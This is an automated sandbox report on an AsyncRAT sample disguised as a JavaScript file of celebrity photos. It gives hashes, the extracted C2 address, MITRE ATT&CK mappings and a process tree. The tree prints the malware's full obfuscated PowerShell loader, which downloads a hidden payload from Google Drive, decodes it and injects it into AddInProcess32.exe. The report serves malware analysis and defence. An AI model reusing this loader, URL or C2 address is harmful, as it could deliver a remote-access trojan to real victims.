asyncrat | 6453d1e7bccbd170145d8565525fffd2f9d6f824dadbb91bc3d40e85ac75eca2

General

Target

Lana_Rhoades_Photoos.js
Size

548KB
MD5

ae498935d8a61b3008bd9393a2306dec
SHA1

b1858655d705e14c01cec8d008c3f3db0a09807b
SHA256

401f183d5553d4f01ff3a4df33524f39faa6138f40afb570300ae41ca31efc08
SHA512

8d9830e5ff3f09099ac1e1af2a585cad2a2ad287b75117741d5f940dc2dd934e7046d17881c93b0398917d1f42a9208ab17bede62a594b1a12997d2bba660a8b
SSDEEP

3072:0F8F8F8F8F8F8F8F8F8F8F8F8F8FjFoFoFoFoFoFoFoFoFoFoFoFoFoFoFoFoFod:X7HlvYPobr777lvrFI

Score

10^/10

asyncrat cezer discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Extracted

Family

asyncrat

Version

1.0.7

Botnet

CEZER

C2

148.113.165.11:3236

Mutex

eqwe2131ewqeqwe

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
Blocklisted process makes network request 5 IoCs

Processes:

wscript.exepowershell.exe

flow pid process

2 3184 wscript.exe
6 3184 wscript.exe
30 4676 powershell.exe
32 4676 powershell.exe
37 4676 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2420 powershell.exe
4676 powershell.exe

flow	pid	process
2	3184	wscript.exe
6	3184	wscript.exe
30	4676	powershell.exe
32	4676	powershell.exe
37	4676	powershell.exe

pid	process
2420	powershell.exe
4676	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	wscript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

29 drive.google.com
30 drive.google.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4676 set thread context of 2628 4676 powershell.exe AddInProcess32.exe
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
discovery

System Language Discovery
T1614.001

Processes:

AddInProcess32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe

flow	ioc
29	drive.google.com
30	drive.google.com

description	pid	process	target process
PID 4676 set thread context of 2628	4676	powershell.exe	AddInProcess32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

2420 powershell.exe
2420 powershell.exe
4676 powershell.exe
4676 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeAddInProcess32.exe

description pid process

Token: SeDebugPrivilege 2420 powershell.exe
Token: SeDebugPrivilege 4676 powershell.exe
Token: SeDebugPrivilege 2628 AddInProcess32.exe

pid	process
2420	powershell.exe
2420	powershell.exe
4676	powershell.exe
4676	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2420	powershell.exe
Token: SeDebugPrivilege	4676	powershell.exe
Token: SeDebugPrivilege	2628	AddInProcess32.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

wscript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 3184 wrote to memory of 2420	3184	wscript.exe	powershell.exe
PID 3184 wrote to memory of 2420	3184	wscript.exe	powershell.exe
PID 2420 wrote to memory of 4676	2420	powershell.exe	powershell.exe
PID 2420 wrote to memory of 4676	2420	powershell.exe	powershell.exe
PID 4676 wrote to memory of 2628	4676	powershell.exe	AddInProcess32.exe
PID 4676 wrote to memory of 2628	4676	powershell.exe	AddInProcess32.exe
PID 4676 wrote to memory of 2628	4676	powershell.exe	AddInProcess32.exe
PID 4676 wrote to memory of 2628	4676	powershell.exe	AddInProcess32.exe
PID 4676 wrote to memory of 2628	4676	powershell.exe	AddInProcess32.exe
PID 4676 wrote to memory of 2628	4676	powershell.exe	AddInProcess32.exe
PID 4676 wrote to memory of 2628	4676	powershell.exe	AddInProcess32.exe
PID 4676 wrote to memory of 2628	4676	powershell.exe	AddInProcess32.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Lana_Rhoades_Photoos.js
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3184

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SQBFAFgAKAAgACgAKAAnAFQAMgBIAGkAbQBhAGcAZQBVAHIAbAAgAD0AIABaADQAUwBoAHQAdABwAHMAOgAvAC8AZAByAGkAdgBlAC4AZwBvAG8AZwBsAGUALgBjAG8AbQAvAHUAYwA/AGUAeABwAG8AcgB0AD0AZABvAHcAbgBsAG8AYQBkACYAaQBkAD0AMQBBAEkAVgBnAEoASgBKAHYAMQBGADYAdgBTADQAcwBVAE8AeQBiAG4ASAAtAHMARAB2AFUAJwArACcAaABCAFkAdwB1AHIAIABaADQAUwA7AFQAMgBIAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgACcAKwAnAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQAnACsAJwBuAHQAOwBUADIASABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAFQAMgAnACsAJwBIAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKABUADIASABpAG0AYQBnAGUAVQByAGwAKQA7AFQAMgBIAGkAbQBhACcAKwAnAGcAZQBUAGUAeAAnACsAJwB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAJwArACcAcgBpAG4AZwAoAFQAMgBIAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7AFQAMgBIAHMAdABhAHIAdABGAGwAYQBnACAAPQAgAFoANABTADwAPABCAEEAUwBFADYANABfAFMAJwArACcAVABBAFIAVAA+AD4AWgA0AFMAOwAnACsAJwBUADIASABlAG4AZABGAGwAYQBnACAAPQAgAFoANABTADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgBaACcAKwAnADQAJwArACcAUwA7AFQAMgBIAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAVAAyAEgAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAVAAyAEgAcwB0AGEAcgB0AEYAbABhAGcAKQA7AFQAMgBIAGUAbgBkAEkAbgBkACcAKwAnAGUAeAAgAD0AIABUADIASABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkACcAKwAnAGUAeABPAGYAKABUADIASABlAG4AZABGAGwAYQBnACkAOwBUADIASABzAHQAYQByAHQASQBuAGQAZQB4ACAALQAnACsAJwBnAGUAIAAwACAALQBhAG4AZAAgAFQAMgBIAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAVAAyAEgAcwB0AGEAcgB0AEkAbgBkACcAKwAnAGUAeAA7AFQAMgBIAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AIAAnACsAJwBUADIASABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAVAAyAEgAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACcAKwAnACAAVAAyAEgAZQBuAGQASQBuAGQAZQB4ACAALQAgAFQAMgBIAHMAdABhAHIAdABJAG4AZABlAHgAOwBUADIASABiAGEAcwAnACsAJwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgAFQAMgBIAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKABUADIASABzAHQAYQByAHQASQBuAGQAZQB4ACwAIABUADIASABiAGEAcwBlADYANABMAGUAbgBnAHQAaAApADsAVAAyAEgAYgBhAHMAZQA2ADQAUgBlAHYAZQByAHMAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAVAAyAEgAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuACcAKwAnAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIABWAEcAcQAgAEYAbwAnACsAJwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIABUADIASABfACAAfQApAFsALQAnACsAJwAxACcAKwAnAC4ALgAtACgAVAAyAEgAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuAEwAZQBuAGcAdABoACkAXQA7AFQAMgBIAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0AJwArACcALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAJwArACcAaQBuAGcAKABUADIASABiAGEAcwBlADYANABSAGUAdgBlACcAKwAnAHIAcwBlAGQAKQA7AFQAMgBIAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAJwArACcAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAVAAyAEgAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7AFQAMgBIAHYAYQBpAE0AZQB0AGgAbwBkACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQAnACsAJwBdAC4ARwBlAHQATQBlAHQAaABvAGQAKABaADQAUwBWAEEASQBaADQAUwApADsAVAAyAEgAdgBhAGkATQBlAHQAaABvAGQALgBJAG4AdgAnACsAJwBvAGsAZQAoAFQAMgBIAG4AdQBsAGwALAAgAEAAKABaADQAUwAwAC8ANABLAHoAJwArACcAegB1AC8AZAAvAGUAZQAuAGUAdABzAGEAcAAvAC8AOgBzAHAAdAB0AGgAWgA0AFMAJwArACcALAAgAFoANABTAGQAZQBzAGEAdABpAHYAYQBkAG8AWgA0AFMALAAgAFoANABTAGQAZQBzAGEAdABpAHYAYQBkAG8AWgA0AFMALAAgAFoANABTAGQAZQBzAGEAdABpAHYAYQBkAG8AWgA0AFMALAAgAFoANABTAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzADMAMgBaADQAJwArACcAUwAsACAAWgA0AFMAZABlAHMAYQB0AGkAdgBhAGQAbwBaADQAUwAsACAAWgA0AFMAZABlAHMAYQB0ACcAKwAnAGkAdgBhAGQAbwBaADQAUwAnACsAJwAsAFoANABTAGQAJwArACcAZQAnACsAJwBzAGEAdABpAHYAYQAnACsAJwBkAG8AWgA0AFMALABaADQAJwArACcAUwBkAGUAcwBhAHQAaQB2AGEAZABvAFoANABTACwAWgA0AFMAZABlAHMAYQB0AGkAdgBhAGQAJwArACcAbwBaADQAUwAsAFoANABTAGQAZQBzAGEAdABpAHYAYQBkAG8AWgA0AFMALABaADQAUwBkAGUAcwBhAHQAaQB2AGEAZABvAFoANABTACwAWgA0AFMAMQBaADQAUwAsAFoANABTAGQAZQBzAGEAdABpAHYAYQBkAG8AWgA0AFMAKQApADsAJwApACAALQBDAHIAZQBQAGwAYQBDAEUAIAAgACcAVAAyAEgAJwAsAFsAQwBoAGEAUgBdADMANgAtAFIAZQBQAGwAQQBjAEUAIAAgACcAWgA0AFMAJwAsAFsAQwBoAGEAUgBdADMAOQAgAC0AQwByAGUAUABsAGEAQwBFACcAVgBHAHEAJwAsAFsAQwBoAGEAUgBdADEAMgA0ACkAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "IEX( (('T2HimageUrl = Z4Shttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvU'+'hBYwur Z4S;T2HwebClient = '+'New-Object System.Net.WebClie'+'nt;T2HimageBytes = T2'+'HwebClient.DownloadData(T2HimageUrl);T2Hima'+'geTex'+'t = [System.Text.Encoding]::UTF8.GetSt'+'ring(T2HimageBytes);T2HstartFlag = Z4S<<BASE64_S'+'TART>>Z4S;'+'T2HendFlag = Z4S<<BASE64_END>>Z'+'4'+'S;T2HstartIndex = T2HimageText.IndexOf(T2HstartFlag);T2HendInd'+'ex = T2HimageText.Ind'+'exOf(T2HendFlag);T2HstartIndex -'+'ge 0 -and T2HendIndex -gt T2HstartInd'+'ex;T2HstartIndex += '+'T2HstartFlag.Length;T2Hbase64Length ='+' T2HendIndex - T2HstartIndex;T2Hbas'+'e64Command = T2HimageText.Substring(T2HstartIndex, T2Hbase64Length);T2Hbase64Reversed = -join (T2Hbase64Command.'+'ToCharArray() VGq Fo'+'rEach-Object { T2H_ })[-'+'1'+'..-(T2Hbase64Command.Length)];T2HcommandBytes = [System'+'.Convert]::FromBase64Str'+'ing(T2Hbase64Reve'+'rsed);T2HloadedAssembly = [System.Reflection.Asse'+'mbly]::Load(T2HcommandBytes);T2HvaiMethod = [dnlib.IO.Home'+'].GetMethod(Z4SVAIZ4S);T2HvaiMethod.Inv'+'oke(T2Hnull, @(Z4S0/4Kz'+'zu/d/ee.etsap//:sptthZ4S'+', Z4SdesativadoZ4S, Z4SdesativadoZ4S, Z4SdesativadoZ4S, Z4SAddInProcess32Z4'+'S, Z4SdesativadoZ4S, Z4Sdesat'+'ivadoZ4S'+',Z4Sd'+'e'+'sativa'+'doZ4S,Z4'+'SdesativadoZ4S,Z4Sdesativad'+'oZ4S,Z4SdesativadoZ4S,Z4SdesativadoZ4S,Z4S1Z4S,Z4SdesativadoZ4S));') -CrePlaCE 'T2H',[ChaR]36-RePlAcE 'Z4S',[ChaR]39 -CrePlaCE'VGq',[ChaR]124))"
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4676

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ejelrmn5.oxs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2420-11-0x00007FFA87960000-0x00007FFA88421000-memory.dmp

Filesize
10.8MB

Download
memory/2420-12-0x00007FFA87960000-0x00007FFA88421000-memory.dmp

Filesize
10.8MB

Download
memory/2420-22-0x00007FFA87960000-0x00007FFA88421000-memory.dmp

Filesize
10.8MB

Download
memory/2420-0-0x00007FFA87963000-0x00007FFA87965000-memory.dmp

Filesize
8KB

Download
memory/2420-6-0x0000026DAB570000-0x0000026DAB592000-memory.dmp

Filesize
136KB

Download
memory/2420-30-0x00007FFA87960000-0x00007FFA88421000-memory.dmp

Filesize
10.8MB

Download
memory/2628-24-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/2628-33-0x00000000059B0000-0x0000000005A4C000-memory.dmp

Filesize
624KB

Download
memory/2628-34-0x0000000006000000-0x00000000065A4000-memory.dmp

Filesize
5.6MB

Download
memory/2628-35-0x0000000005AC0000-0x0000000005B26000-memory.dmp

Filesize
408KB

Download
memory/4676-23-0x0000028FF39E0000-0x0000028FF3B3A000-memory.dmp

Filesize
1.4MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads